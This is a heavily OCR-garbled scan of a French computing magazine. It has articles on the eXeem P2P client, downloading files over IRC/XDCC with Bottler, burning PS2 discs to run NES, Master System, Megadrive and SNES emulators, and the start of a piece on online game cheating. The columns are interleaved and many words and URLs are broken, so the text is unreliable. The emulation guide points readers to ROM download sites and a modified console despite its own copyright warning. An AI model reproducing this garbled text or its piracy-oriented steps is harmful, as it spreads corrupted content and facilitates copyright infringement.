manque d’espace de votre disque dur. Eh oui, quand on télé-
charge comme un fou, les GO passent frés vite | Mais heureu-
sement les graveurs DVD sont 1a ;)

législation ?

Kanar
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b %ﬂg est avec beaucoup | Exeem a été présenté comme un BitTorrent avec
. gd'enthousiasme | yn moteur de recherche. Méme si son peu de suc-

%ﬁque la communauté 3 ¥ o & i . o
| des ulisaceurs 4o | €S jusqu'a présent s'explique peut-étre par cer-

BitTorrent 3 travers le | taines imperfections, le principe vaut en tout cas
monde avait accueilli la qu'on s'y intéresse.

nouvelle de la création
d'un logiciel qui réunirait
la force de leur réseau
favori avec celle d'un
moteur de recherche
intégré. Le projet «
eXeem » avait ete
annoncé au moment des
féetes de MNoél par
Sloncek, le créateur slo-
véne du trés regretté

wwmw ki for eXeam - #p_skin.zip

eXeem ad blocking for 0.21 and beyond bt
Unofficial guide for running eXeem undet . rar
Ewnmem - How to make E xeem faster lor everyone. .
e¥eem 0.22

y 4 : 100% Blade.lIL Triniy. TC.MO. German SVCD-PMD{ww...
SuprNova.org, a I'épo- | | 0% (2 ékeom Lie02 b eve
| 100% ([ Fiexeem V 022 v emule.
que encore le plus gros | | 1005 (1A PC Gomes ot Hor. <o ..

site de liens BitTorrent. | | gl PR S A TR
Depuis, de nombreux _,_!msqnwsny-s@_mnmjm 13M8
autres sites pirates tels =
que Youceff.com ont di
fermer leurs portes
aprés que l'association
américaine de l'industrie
du cinéma (la MPAA) ait
décidé en plein mois de
décembre de frapper

Un BitTorrent
 décentralisé ?

Xeem, tous les utili-
ateurs sont a la fois
rackers et seeds. |l n'y a
plus de « torrent » a
torrent indique au client | hébergeait de nom- | télécharger, car tout est
Sur un réseau BitTorrent BitTorre“,t I'adresse du | breux trackers) ont | directement intégré au
traditionnel, il y a d'un | tracker, qu1 en retour | décidé de totalement | logiciel, et distribué entre

« terrent ))

fort. SuprNova.org avait | et iQUvrlr avec
lui fermé, volontaire- | ciel
ment, pour laisser place Azureus Blthmado ou
au seul eXeem. encore B&tCoﬂ‘)et Ce

STUPFNGVaOrg e

1 coté les trackers, héber- | indique au méme client | décentraliser le pro- | les membres du réseau.
gés sur des serveurs cen- ladressa',_des différents cessus. En fait de | Comme les logiciels de
traux propres a chaque | utilisateurs (les seeds) | Suprfiovaorg, il faudrait | P2P les plus populaires et

fichier téléchargeable, et | qui partagent le fichier davantage parler de | contrairement a la ver-
de l'autre les seeds, qui | que l'on souhaite télé- | Swarm Systems, I'édi- [ sion  originale  de
ne sont ni plus ni moins charger. II suffit donc de | teur du logiciel. Il sem- | BitTorrent, eXeem inte-
que les utilisateurs en | rendre le tracker muet | ble en effet que le site | gre un moteur de
train de télécharger et | (par exemple en le fai- | historique ne soit en | recherche qui permet de
de partager le méme | santfermer ce quafaitla | fait impliqué qu'a tra- | retrouver tous les
fichier.Si vous avez déja | MPAA) pour que le | vers son webmaster fichiers qui ont été injec-
utilisé BitTorrent, vous | fichier ne puisse plus | Sloncek et son embau- | tés sur le réseau et qui
savez en effet qu'il | étre téléchargé a partir | che en tant que chargé | sont encore partagés
faut d'abord télécharger | du torrent. des relations publiques. | par les utilisateurs
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Mieux, eXeem permet
aussi de se tenir au cou-
rant de toutes les nou-
veautés: (films, jeux-
vidéo, logiciels, docu-
ments...) grace a un
module qui trie les nou-
veaux fichiers en fonc-
tion de leur date de
parution sur le réseau.

Du point de vue de l'uti-
lisateur, le bénéfice est
évident. Plus besoin de
se rendre sur des sites
de liens BitTorrent dont
la plupart ont dailleurs
fermé ces derniers mois.
Néanmoins, eXeem
casse la philosophie du
réseau de Bram Cohen,
qui avait délibérément
choisi de ne pas mettre
de moteur de recherche
pour que l'ensemble de
la bande passante du
réseau ne soit réservée
qu'a la distribution des
fichiers. A I'usage, eXeem
se révele d'ailleurs moins
rapide qu'un torrent

régulier, mais il reste lar-
gement a la hauteur des
meilleurs logiciels de P2P
actuels.

La ou eXeem brise éga-
lement la philosophie de

BitTorrent, c'est que le.

logiciel est un projet 100
% commercial. Lorsque
Bram Cohen a mis au
point le protocole de
BitTorrent et son pre-
mier client, le souhait a
tout de suite été de le
rendre disponible a tous
en ouvrant le code
source du logiciel. Tous
les clients BitTorrent a
ce jour sont donc entie-
rement gratuits, dénués
de publicité et leur code
source reste libre. A I'in-
verse, Swarm Systems a
fermé le protocole
d'eXeem et le logiciel est
paré de deux emplace-
ments publicitaires aux-
quels se joint une barre
de recherche dont l'ins-
tallation reste toutefois

optionnelle (voir notre
guide d'installation et d'uti-
lisation). Il n'est d4illeurs
pas exclu que le logiciel ou
une partie des fonctions
du réseau devienne payant
un jour, puisqu'il semble
techniquement possible
de restreindre l'utilisation

premiéres beta du logiciel.
Deés lors, ce n'est pas
vraiment comme un
BitTorrent décentralisé
qu'il  faut  prendre
eXeem, mais plus
comme un tout nouveau
logiciel de P2P, créé par
une société privée avec

SAVENOW {
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du réseau aux posses-
seurs d'une clé unique ; le
procédé ayant été utilisé
pour sauver la confiden-
tialité des tests lors des

ses intéréts et sa commu-
nauté propres. Si l'on
accepte de considérer
eXeem sous cet angle, le
logiciel dévoile un potentiel




certain que nous allons
essayer d'exploiter a tra-
vers le guide qui suit.

€onfiguration
et utilisation
d'eXeem
Installation
Précisons avant toute

son installation (voir illustra-
tion ci-dessous).

On vous demandera
ensuite de choisir un nom
d'utilisateur (« username
»). Entrez le pseudonyme
que vous utilisez, et notez
le numéro de port que
vous laissez pour les

eem

[)(-)Hr.p ‘.L\un h Toolbar

“savenow |
W wHEND |

chose que vous pourrez
telecharger eXeem sur
le site officiel du logiciel,
a l'adresse suivante

La derniere version dis-
ponible a l'écriture de
ces lignes était la v.0.22
Public Beta. Une fois sur
la page d'accueil, cliquez
sur le bouton « down-
load »  puis  « get
eXeem now ».
Rassurons-nous, il est
possible de passer le
logiciel en frangais,
comme nous le verrons
un peu plus loin.

Une fois eXeem téléchargé,
lancez linstallation. Passez la
premiére étape, laissez le
chemin par défaut, puis arré-
tez-vous sur I'écran « Select
Components ». eXeem est
en effet fourni avec une barre
de recherche que l'on pour-
rait assimiler a un spyware,
SaveNow. Libre a vous de la
garder, mais c'est ici que vous
pourrez décider ou non de

connexions entrantes (par
défaut 6881). Vous devrez
libérer ce port dans votre
firewall s'il est bloqué.

Dans I'écran suivant, choi-
sissez le dossier de desti-
nation des fichiers que
vous: téiechamerez avec

Utilisation
Interface
en Frangais _

Avant toute chose, assu-
rons-nous de garder les
joies de la langue de
Mireille _Mathieu (qui est

« French. » dans la liste
des ,,l_angges proposées.
Cliquez sur « Apply »,
fermez le logiciel et relan-

cez-le, cette fois en
Frangais dans le texte.

Présentation

De retour dans le logi-
ciel, on remarque la pré-
sence de quatre onglets
principaux. Le premier
est un simple navigateur
Internet Explorer inté-

gré. Puis suivent les’
onglets qui permettent
respectivement de

controler les transferts
de fichiers, de lister les
nouveaux fichiers dispo-
nibles sur le réseau et
enfin de rechercher des
fichiers en particulier.

La partie basse de l'inter-

face affiche quelques sta- -

tistiques mteressantes
dont le w e télé-
chargé et émis, i

la vitesse den‘nssnoh =1
de réception. Il faut

‘savoir que plus on émet,

plus on regoit. Depuis la
version 0.22, l'upload est
de 5 ko/s minimum. La
barre des tiches affi che
quant a elle le |
d' utlllsateurs

récupérer
fichiers et de les classer
par date d'ancienneté.

onfiguration

B | —
(it

R ol
Drannitndirg

Vous remarquerez a gau-
che la présence d'une
liste déroulante avec «
toutes les catégories ».
Sélectionnez le type de
données que vous
recherchez, et cliquez
sur « rafraichir ».
Faites particulierement
attention au nombre de
« seeds » qui repre-
sente le nombre de
sources ; plus il est éleve,
plus le téléchargement
sera rapide.
Double-cliquez sur__le
résultat qui vous (inté-
“ resse; et le fichier com-
mence son transfert
dans |'onglet éponyme.

Quelques reglages..

E};ird et particu-

haltable d exciure « le
contenu pour adulte ».

Dans Ionglet « Global
Limits », et si vous étes
en ADSL,-modlf iez égale-

je votre ligne. Dans le cas
contraire, vous risqueriez

de saturer les débits.

Guillaume
Champeau

st Siabalhres
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= 'IRC (Internet Relay
= Chat) est une forme
“ide discussion vir-
tuelle a plusieurs, plus
exactement un PI’OtO-
cole, qui date des années
80. Tout comme les
newsgroups de l'article
précédent, les serveurs
IRC existent encore
aujourd'hui et permet-
tent a des milliers de
personnes de discuter
chaque jour. Et de méme,
ces réseaux d'échange
peuvent aussi étre utili-
sés pour le partage de
fichiers.
Si vous venez de décou-
vrir ce sigle, il vaudrait
mieux commencer par
expérimenter ['utilisation
normale de I'lRC, en chat-
tant ! Pour cela, il suffit de
telecharger un client IRC,
par exemple :

(libre)
ou
(shareware 30 jous).
Ensuite, il faut choisir un
serveur (au hasard) et un
salon, dire bonjour, et
c'est parti.

Une fois les présenta-
tions faites, nous pou-
vons passer aux choses
serieuses.

KbpEg

Le XDCC vient du terme
DCC, qui est un proto-
cole peer-to-peer (poste
a poste) spécifique aux

Pourquoi faire simple quand on peut faire compliqué ?
Le mode de partage de fichiers présenté ici peut
paraitre un peu trop fastidieux. Pourtant, les
avantages en matiére de débit et de tranquillité

sont bien la !

L
o

Protfocole

On appelle protocoles les langues que parlent les machines
entre elles. Lors qu'un dlient IRC transmet un message, il doit
par exemple préciser a qui il s'adresse, si le message est privé
ou public, etc. Mais comment ? C'est justement ce que définis-

sent les spécifications du protocole. En pratique, ce sera une
maniére particuliere de disposer les données, sous forme
hinaire ou fexte.

Pour voir a quoi ressemble cette documentation technique,
taper : “ RFC 1459 ” dans Google.

serveurs IRC. Le terme
DCC signifie Direct
Client to Client. Les ser-
veurs XDCC sont des
ordinateurs qui agissent
en tant que serveurs de
fichiers, ce qui différencie
ce systéme des autres
peer-to-peer c'est le
mode de diffusion.

Sur IRC, la diffusion va
dans un seul sens, c'est &
dire qu'un  serveur
XDCC met a disposition
ses fichiers sans rien
attendre en contrepartie
! Le vrai esprit qui
devrait animer Internet a
mon avis ! Bien s(r, si
vous le désirez vous pou-
vez aussi mettre vos
fichiers a disposition en
installant votre propre
serveur XDCC, mais

nous en reparlerons une
prochaine fois...

Ces serveurs fonction-
nent avec une file d'at-
tente, mais la vitesse est
si élevée que le délai ne
sera pas trés long. Les
débits des serveurs sont
énormes ! Regardez la
copie d’écran ci-contre
et lisez les valeurs de la

colonne “ Record ”,
alors...

Comment utiliser
simpliement

ile XD€EC?

Il y a deux meéthodes
pour utiliser le XDCC.
On peut utiliser son logi-
ciel d'IRC (MIRC par
exemple) ou bien un
logiciel spécialisé. Dans
notre cas, nous allons

nous servir de Bottler,
sachez qu'il existe aussi
un autre outil nommeé *
XDEC Catcher -

MIRC est un outil en
mode texte assez rude,
mais Bottler est un outil
graphique facile a utiliser,
vous allez voir.

Phase | :
Installation

La page officielle du logi-
ciel que nous allons utili-
ser, Bottler, se trouve a
cette adresse :

. On peut
aussi le télécharger
depuis divers autres
endroits (Google !).

Cliquez sur le zip et
ensuite sur le fichier por-
tant ['extension .msi
pour installer le pro-
gramme, puis sur “ Next
" et installez-le dans le
dossier de votre choix.

Cliquez encore une fois
sur“ Next ” puis * Close
". Bottler ne créera pas
forcément une icéne sur

le bureau. Si c’est le cas,
créez un raccourci vers
GoxProgeray
Files\Bottler\Bottler.exe
s'il s’agit bien votre chemin
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Y Preferences

d'accés au programme.

Maintenant lancez ' i R R S =l
Bottler, cliquez sur NMkc e
l'icéne représentant un e e O Nickname |sumom
marteau et une clef ' gmum' .
Pref ; T -  Alemative Nickname IZMumorﬂ
(Preferences) e P oo
Cliquez sur " Connexion Gar:mdmtn S e o Iwamom
d - ; -

il I B =7 crthsin [t

: : Chat Options .
nom, votre nom si vous load | 1] Between Commands ! 3 Secondls)
le désirez et une adresse b ; Peh | s &
i i Server File
werifiée. o Cancel | Save
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Dans le menu
Download Limiter "' vous
pouvez empécher de

démarrer un télécharge-
ment si la bande pas-
sante  est  saturée.
Attention ! Sur un
réseau Ethernet, derriére
un routeur, j'ai eu le cas
ou le PC ne pouvait pas
supporter plus de |120Ko
de bande passante et
Bottler entrainait un
redémarrage intempestif.
Dans le menu “ General
Options " cliquez sur “
Associate Links " pour
que les liens IRC soient
associés a Bottler.

& Preferences l

i Search iAdvanced

wiwwbadelnewscom. VYous
trouverez dans ce docu-
ment d'autres liens vers
des moteurs de recher-
che sur IRC.

Dans la fenétre juste
avant search, tapez ce
que vous cherchez, par
exemple “ freeware ”.

Détaillons ! On voit le nom
du réseau IRC (ici BARAR-
CADE), un réseau IRC est
un ensemble de serveurs

O XDCC O Fserve

Options
Channels Name
aiphanine | after-al
Options Address Port
Pt — firc atter-all ord (6666
Ock . .
Channels r e Do
atomicchat
Dptions _ Delete Server |
Channels !
AddSmI Cancel I Save As I Save l List Cleaner

i

|

On peut connaitre a
I'avance le nombre
de “ slots ” disponi-

. GenealOpions | bles.Le nombre de
Connection | slots ” indique le
DCCD"“"“"’“"" ™ Sounds Enabled # CheckforNewVersion | nombre maximum
dert / Version I~ MinmisetoTiay |~ AuoTsbSwichng | de personnes qui

g W AuoSoolDfies [ Asocateliks | | Peuvent télécharger

Option .. || en méme temps. Le
o " MouseScwillFix |~ Optimise Channsls
St thiion - | terme “ queue ”
Download Path ] . s
Server File e -~ | correspond a la file
: ’ .
Pzl i i ik | d attente. 'Vlent
: ensuite la vitesse

Vérifiez dans le menu *
Download Path ” que
vous pointez sur un
répertoire d'un disque
disposant de suffisam-
ment de place. Faites
particulierement atten-
tion a celle-ci si vous
avez l'intention de char-
ger des gros fichiers !

Phase 2 :
Localisation du

“ packet ”

Un serveur XDCC per-
met aux utilisateurs d'ac-
céder aux fichiers organi-
sés en “ pack " ou “
packets

”

Il faut donc
d’abord localiser le “ pack
" et ensuite le télécharger.
Dans votre navigateur,

tapez :

Il suffit de cliquer sur le
chiffre correspondant au
* packet " souhaité. Ici
c’est le paquet 4, sur le
serveur irc
bararcade.com, dans le
channel #coffee —shack.
Plus simplement, le fait
de cliquer sur un lien
met automatiquement le
nom du serveur et du
channel dans Bottler s'il
est installé.

_#7 ox | 1.12M erthumbnail maker freewars

e bwrorc: PHE

IRC souvent groupés sur
un méme sujet ou par
pays. Puis le nom du chan-
nel est indiqué, le nom du
serveur XDCC ou* bot ”
(pour robot).

maximale du téléchar-
gement, le nombre de
téléchargements effec-
tues, la taille du fichier
et enfin le nom du
fichier disponible.

Si ¢a ne fonctionne pa's, '

on clique sur [icéne
représentant des ser-
veurs (Servers Editor),
puis sur“ Add server " et
I'on entre le nom du ser-




£ Servers m

le nom du serveur pour
connaitre les raisons de
ce refus, sachant que cer-
tains serveurs interdisent
I'emploi de Bottler...

Longlet “ Chat " permet

Il ne vous reste plus qu'a
utiliser le “ packet " télé-
chargé, en respectant les
lois en vigueur, bien
entendu. Et maintenant, a
vous de faire votre pro-
pre serveur XDCC !

[aftoral % Channels -
Options ; i Hictadee
i Add This Channel ’
alphanine
Options Channel
Charnels Wi
Key
Options
Channels
um%h;w Remove Channel i
Channels
hakarien -:’ B -
AddSmI Cancel l Save As I Save I List Cleaner i

veur dans la case ‘ name
” et * Address . Enfin on
clique sur* Save ".
Ensuite on clique sur “
Channels ”, on entre le
nom du channel avec le *
# ” devant. Pour finir, on
clique sur “ Save ".

Phase 3 :
Téléchargement

du “ packet ”
Bottler s’est lancé. En

fait, pour vous connecter, | packets ” sélectionnés.
cliquez sur [licone * | Longlet * Queue et
Connect to servers ” | Downloads " vous indi-
représentant un cable en | que I'état du télécharge-
haut a gauche, puis sur | ment.” . Longlet .
I'onglet “ Offers ". Networks & Channels

Au bout d'un certain
temps, 'onglet “ Offers ”
se remplit. | ne reste
qu'a cliquer sur le fichier
souhaité et a appuyer sur

<c00l2003
<Martin_22> 1
<cooi2003>
fin_22> 102
<00l 2(
ment je vais fe bloguel
M rds
<Martin

<c00l2003> ok

2 .....moi ¢l

le bouton droit de la
souris et “ Request this
file ”. Si la ligne est en
vert, ¢a signifie que le
fichier est disponible. Un
conseil, cliquez sur la
colonne “ Free Slots "
pour afficher en priorité
les serveurs ou il reste
des places libres.
La fenétre “ offers ™ peut
afficher des milliers de ™
packets ” selon le nom-
bre de serveurs et/ de “

indique les serveurs e

channels sur lesquels:

vous étes connecte. Si le

serveur vous refuse, allez

“

dans l'onglet “ Server
Window " et cliquez sur

combien chez vous

es 101 dalmatiens ....

pour de vrai je parle moi
n bin vu que tu veux pas me parler franche

> njon pour de vrai on est 8 ...

<t00l2003> merci de me parler franchement

Martin 22>

moi et les 7 nains

d'utiliser Bottler comme
client IRC traditionnel.
Comme son nom lindi-
que,” List Channels " liste
les channels d'un serveur THD:/ AMAAAN XS
IRC. Et l'onglet FSERVE S EWS.COm
permet de se connecter | | F A o il
aux serveurs FSERVE, S :
mais ¢a, c'est une autre
histoire... A paraitre
dans un prochain numéro
si vous étes sage

Voici quelques liens
utiles en bonus :

i
<(hess> Hé les mecs, {'ai ev une pure idée !
“aX1s fuit le mort
eadpool met sa téte dans le four
"Qwerly saute par lo fenéire
“Landlord creuse un tunnel d'évasion dans le plancher
“Arg " tr Avale le tube de Prozac cul-sec
“Planetary se fait hara-kiri avec une cuillére & soupe
<Chess> '

Anarkhaios: "cheri cheri ! {'arrive pas a coucher avec un
autre femme 1" ... comment ca surprend comme premiere
phrase en renirani du boulot

lithrel: :D

Anarkhaios: et il faut hien 5 minutes o ['ecouter pour com-

prendre de guoi elle porle ...

Anarkhaios: putain de sims ...

<wintersh> Tiens, cet aprém...

<wintersh> ... ma femme sort de lu pioule en chemise
fleur / bermuda / tongues...

<wintersh> ... elle me dit "alors, je te plais ?" ...
<wintersh> ... "ouais carrément ! tu ressembles @ Torfue
Géniale 1"

<wintersh> Elle m'o collé une haffe.




Les bonnes adresse :
e http;//consolemulcom
e httpy/Mwww.mamenet
e frwikipediaorg

En découvrant par vous-
méme les informations
données sur ces sites, vous
pouvez vous constituer une
collection gratuite de jeux,
et ce sans causer de fort
quelque éditeur.

, race aux nouvelles
| techniques d’émula-
ition pour la der-
niére console sortie des
ateliers de Sony, aux per-
formances particuliere-
ment intéressantes en
matiere de compatibilité
et d’évolution, vous pou-
vez désormais vous adon-
ner aux plaisirs oubliés
des anciennes consoles
de jeux. Qu'elles soient
Nintendo ou Sega, je me
propose de vous montrer
comment jouer - ou
rejouer; selon votre age
ou votre culture vidéo
ludique - 3 quatre conso-
les de légende.

Les consoles 8 bits :

e a2 Nintendo Entertainment
System, plus connue sous
le nom de NES,

e La MasterSystem, issue
du systeme SMS de Sega.
Et les consoles |6 bits :
e La Megadrive (aussi
connue aux Etats-Unis

sous le nom de Genesis)
de Sega,

de je

L'histoire du jeu vidéo est remplie de perles
rares, indémodables. Il n'y a pas que le Pacman,
mais une foule d'autres jeux beaucoup plus
riches qu'on ne le croit. Cet article explique com-

ment installer un émulateur sur une
pouvoir y jouer.

e La Super Nintendo
Entertainment System, la
aussi plus connue sous le
nom de SNES, ou la

Super Nintendo.

Vous aurez remarque, si
vous étes une fine
gichette de I'’émulation,
que je n’ai pas inclus tou-
tes les possibilités
d’émulation de la
console de Sony. Il faut
dire que je n'ai sélec-
tionné que les plus per-
formantes et surtout les
plus intéressantes. Ce
sont aussi des consoles
auxquelles chacun d’en-
tre nous a pu jouer une
fois au moins dans sa vie.
Malheureusement, il vous
faudra absolument dis-
poser d’une PlayStation 2
pouvant accepter les Cd-
rom gravés, donc proba-
blement équipée d’une
puce (de nombreux arti-
cles publiés dans Pirat’z
sont consacrés a ce
sujet, si vous ne les avez
pas, vous savez ce qu'il
vous reste a faire...). |l
faut aussi un graveur, un

CD vierge et une
connexion internet.
Pour terminer la série

des évidences, ce serait
bien aussi d'avoir une
carte mémoire ; ¢a le fait
pas trop de finir Zelda Ill

sans sauvegarder.. a
moins de rester une
semaine devant sa teélé
sans éteindre sa console.
En avant donc, que les
jeux commencent !

NES
Nintendo Entertainment
System, la premiére

console qui ne rend pas
épileptique, quoi que...
Nintendo fut treés fier de
présenter sa console en
1986, car elle présentait
des qualités sonores et
visuelles hors du com-
mun pour ['époque. De
plus, les types de jeux
proposés étaient sensi-
blement différents du
reste du panel de jeu
vidéo de I'époque : il ne
s’agissait plus de jouer a
un jeu répétitif, issu de
Parcade ou du café du
coin, ou l'action est tou-
jours la méme, sauf
qu'elle croit en difficulte.
On a la de véritables
progressions fixées sur

S$2, afin de

un pseudo scénario. Oui,
je dis“ pseudo scénario ”
parce que bon, “ votre
fiancée a été capturee
par un méchant, allez lui
defoncer la tronche pour

la sauver ”, ce n'est pas
vraiment du scénario,
d’accord !

Aprés ce rapide digéré
de connaissances vidéo
ludiques, passons a la
partie sérieuse du pro-
bleme. La procédure
comporte en effet plu-
sieurs étapes.

e Tout d’abord allez sur
le site :
http://imbnes.gamebase.ca/
dans la rubrique intitulée
“ downloads ”, pour pou-
voir y récupérer la der-
niére version, notée
1.3.2. Puis décompressez
tout ce que contient l'ar-
chive sur un répertoire
de votre disque dur (par
exemple, C:\ImbNes).

e Rendez-vous ensuite
sur un site de roms fiable

Attention, ces consoles émulées ont beau étre vieilles, leurs
constructeurs n'ont pas pour autant renoncé @ leurs droits.
Pour posséder une image de la ROM d'une de ces machines,

qui fait donc ['objet d'un copyright, vous devez posséder une
version physique de celle-ci - ce qui est la maniére la plus sim-
ple d'avoir une " licence " d'utilisation. Il en va de méme pour
les jeux.




(on appelle roms, pour
les non-initiés a I'émula-
tion, les fichiers qui
contiennent le jeu,
comme la cartouche
quoi ') Je recommande
WWW. netemu.net
Telechargez-y les roms
de votre choix et placez-
les dans un répertoire
“sur votre disque dur,
aprés les avoir dézip-
pées, bien entendu.
Par exemple, CimbNes\roms.
e Aprés quoi, vous pou-
vez lancer le fichier
nommé rombank.exe qui
doit se trouver, si vous
avez suivi nos conseils,
dans C:\ImbNes. Cliquez
sur le bouton en forme
de puce, en haut a droite.
Ajoutez-y le répertoire
ol se trouvent vos roms
dezippées. |l ne vous
reste plus qu'a cliquer

- by A, Lee
{aks Hiryul

sur l'icone en forme de
CD pour enregistrer une
image au format .iso.
N'oubliez de spécifier
région de votre CI
(Japan, US ou Europe).
) Ouvrez Nerc ou un
programme

1SO. ¢

° !nsérez Ie CD dans
votre P{ayStatlon 2 :une
liste des ;eux que vous
avez graves s'affiche.
Sélectionnez le jeu sou-
haité avec la manette
directionnelle, puis
appuyeze sur START pour

de ]eu. appuyez sur LI +
L2 + START + Select.

Et voda, a vous les joies
de la premiére console
de salon de Nintendo !

: ~ similaire
pour gra\'er vatre fmage

leure qualité et des musi-
ques de meilleure défini-
tion, comprenez : qui ne
vous transperce pas les
tympans, et encore ! Elle
a permis a Sega de déve-
lopper ses meilleurs jeux :
Sonic bien sir, mais aussi
Alex Kid,  Marble
Madness, les Donald...
Sans oubliez les fameux
hits d’arcade Space
Harrier et After Burner,
ou jours funs
aujourd’hui.

L'émulateur consacré a la

| renommer

PlayStation 2 est PSMS,
aussi performant que dif-
ficile 2 mettre en place.

e Ouvrez Nero ou un
programme  similaire,
créez un nouveau CD de
données puis, a la racine
du CD, copiez les fichiers
que vous aurez télechar-
gés @ cette adresse :
 http://psms.gamebase.ca/’
psms | 2.zip. Dézippez-les
dans un répertoire quel-
conqueii el
o Allez ensuite chercher
Vo Qrms sur un site sar,
pez-les et placez-les
egale em dans Nero,
mais cette fois dans un
répertoire specnal qui
pourrait étre, par exem-
ple /roms)

o ll va faitarrf;mamtenant
: tous . vos
fichiers afin qu'ils respec-

| tent la_norme du 8*3.

ur’ ceux qui ont
échappe a MS-DOS 4.0,
“les noms de fichiers sont
composés de huit carac-
téres avant le point et de
trois caractéres aprés, le
tout en majuscules, par
exemple :

MARBLMAD.SMS. Cette
étape est assez lourdin-
gue, je vous [accorde.
Attention, vous ne pou-
vez pas mettre plus de
30 roms par répertoire,
sinon le CD ne fonction-
nera pas. Yous pouvez
cependant créer autant
de répertoires que vous
le désirez.




e Il s'agit 2 présent de
créer un fichier texte
(direction  bloc-notes)
pour y entrer a la main
tous vos jeux selon cette
régle : nom du jeu vidéo
affiché a I'écran,
ROMS\MONJEU.SMS. A
chaque fois, vous devez
passer une ligne sinon le
fichier - donc I'émulateur
- ne pourra pas fonction-
ner. Enregistrer le fichier
texte sous le nom de
FILES.TXT.

- Ajoutez ce fichier a la
racine de votre CD, puis
lancez la gravure en spe-
cifiant de ne pas utiliser
d'extension Joliet (géné-
ralement dans les pro-
priétés de gravure).

Ca fonctionne ! Je vous
souhaite donc un bon
California Games !

MegabDrive,
Genesis

En tout cas, une console
d'enfer !

La Megadrive a été lancée
par Sega en 1990 dans le
but d'enfoncer un peu plus
le clou déja bien planté avec
la MasterSystem. Elle se
parait de superbes couleurs
et offrait des animations
d'une grande fluidite,
sans aucune comparai-
son possible... Et pour
preuve, elle était en fait la
premiére console 16 bits
apparue sur le marché.
Au niveau du processus
de création de CD, pas
grand-chose ne change a
part le niveau de I'émula-
teur : PGEN est sans
doute le plus agréable de
tous les émulateurs
PlayStation 2, avec sa
belle interface et sa ges-
tion trés simple des sau-
vegardes sur carte

Really delete saved state?

Earthuworm Jim

Yes

PGEN Usage:

o
THE GAME. PRESS

memoire. Voici comment
procéder pour vous faire
votre CD spécial
Megadrive.
e Ouvrez Nero ou pro-
gramme dans le genre -
vous commencez a Yy
étre habitués, non ? - et
démarrez un nouveau
projet de CD de don-
nees.
e Allez télécharger vos
roms sur un bon site
(|e recommande
£ganet) - puis
dézippez-les dans un
répertoire quelconque.
e Récupérez I'émulateur
a cette adresse
http://pgen.gamebase.ca/
downloads/pgen-1.2.zip,
puis dézippez-le.
e La suite des opérations
est trés simple puisqu'il
suffit de mettre les fichiers
contenus dans le zip de
I'émulateur a la racine du
CD, puis de créer un
répertoire  nommé
Roms " dans lequel vous
balancerez toutes vos
roms dézippées. C'est slr

NG

Y1le2 kb

qua coté de PSMS, ca
vous change la vie !

e Il ne vous reste plus
qu’a graver votre CD et
a l'insérer dans votre
console modifiée. A par-
tir de la, tout est tres
simple, pour peu que
vous baragouiniez un
rien la langue a Billou.

Super

Nintendo

La reine des 16 bits (com-
ment ¢a, c’est salace ?)

Nintendo ne s'est pas
laissé faire, et apres avoir
été frappé par deux fois
par les offensives. de
Sega, il décide de contre-
attaquer avec ce que
beaucoup considérent
comme l'une des meil-
leures consoles 16 bits,

voire LA meilleure
console |6 bits, jai
nommé... la  Super

Nintendo (Snes pour les
intimes) ! Elle dispose
elle aussi d'un émulateur

performant sur la

TotallFreei

5281 kb
Sl =

PlayStation 2, a savoir
Snes-Station, un port du
plus que fameux Snes9x.
Allez, c’est reparti.

e Ouvrez un soft genre
Nero, commencez un
nouveau CD de données
(ronnfllizzz...). R
o Allez recuperer des
roms sur un site sdr :
(la- - encore, wwivpiane
cf) et dezlppez-les
sur votre disque.
e Puis allez récupérer
I'émulateur sur :

° Dezuppez—ie quelquepart_
e La encore, clest treés
simple : copiez les fichiers
de I'émulateur 2 la racine
de votre Cd-rom, puis
créez un nouveau réper-
toire nommé Roms ou
vous copierez les roms
que Vous aurez récupéres.
Un dernier conseil : allez
de ce pas finir Secret Of
Mana, vous ne serez pas
dégus du voyage !
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MAME (acronyme de Multiple Arcade Machine Emulator) est un
tronc commun a de nombreux émulateurs, sous licence libre, et
dont le but est de reproduire trés fidelement le fonctionnement des
jeux d'arcade. Du fait de sa licence, de nombreuses personnes en
ont dérivé des projets tout a fait excitants !

talls sur

W

.
.com/mame)

Une borne bricolée, avec Mame dedans

MAME n'est qu'un moteur. Pour jouer, il faut se procurer les
jeux originaux, sous la forme de fichiers représentant ce qu'il
y avait dans la mémoire de la borne en question (ROM). Bien
que, pour des raisons légales, ceux-ti ne soient pas distribués
officiellement par les auteurs de MAME, il est assez facile d'en
trouver.

Plus d'infos (comment ¢o fonctionne, la philosophie sous-
jucente, obtenir les roms, efc.) : »
httpy/frwikipediaorgwilki/MAME

nokia (http://www.microsiervos.com/)
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a « progrés » du
- cheat moderne sur
WEPC, c'est que cette
triche engage d'autres
joueurs. En effet, tricher
pour soi-méme n'a plus
beaucoup d'intérét pour
certains lorsqu'ils réali-
sent qu'ils pourraient tri-
cher dans un jeu en
ligne... Les premiers jeux
permettant de jouer en
réseau, tels Doom, Duke
Nukem 3D et plus tard
Quake, ne permettaient
pas d'utiliser vraiment les
codes du jeux solo, et ce
pour trois raisons :

- ils étaient trop extré-

mes, par exemple un bon
vieux GODMODE qui
fournit I'invulnérabilité
totale ou un code qui
donne toutes les armes
sont surtout faits pour
rigoler et énerver les
potes 2 minutes, mais pas
pour faire illusion d'un
joueur expérimente,

_les parties se dérou-
laient quasi exclusive-
ment en LAN étant
donné qu'en 96, Internet

a Triche sous Hal

Il y a des tricheurs partout, et en particulier dans
le monde du jeu vidéo. Pourquoi ? Comment ?
Sans avoir peur du tabou, on vous dit tout.

au foyer était particulie-
rement balbutiant, ce qui
veut dire que quelqu'un
qui regardait I'écran d'un

. joueur pouvait tout de

suite savoir qu'il trichait,
pas moyen de mettre un
masque comme celui des
pseudonymes du jeu en
ligne (quoique... avec
quelques bonnes cagou-
les et en changeant de
poste subtilement...),

les codes étaient inter-
nes au jeu et prévus par
les développeurs, qui
avaient donc tout simple-
ment prévu une protec-
tion au niveau du serveur
qui empéchait tout client
(joueur qui se connecte
au serveur) d'exécuter
les codes triche.

Mais a la sortie d'Half-

Life en | 9,:98,- et surtout

avec Counter-Strike, son
mod gratuit en 1999,
Internet est en pleine
explosion et n'hésite plus
a rayer son voisin équipé
d'un vieux 28.8 bauds
complétement dépassé,
alors que nous on a le
dernier 33.3k, voire pour
les plus fortunés, un
incroyable 56 k (whoua !
tout ca !).

Le jeu sur Internet est

donc en plein BAOUM !
(pour faire belge), et les
p'tits malins en quéte de
gloire virtuelle et préts a
tout faire, y compris ne
rien faire (on se com-
prend) vont bientot arri-
Ver...

Arrétes de faire fumer le
cheat, tu vas finir par
tousser

Au départ, le cheat sur
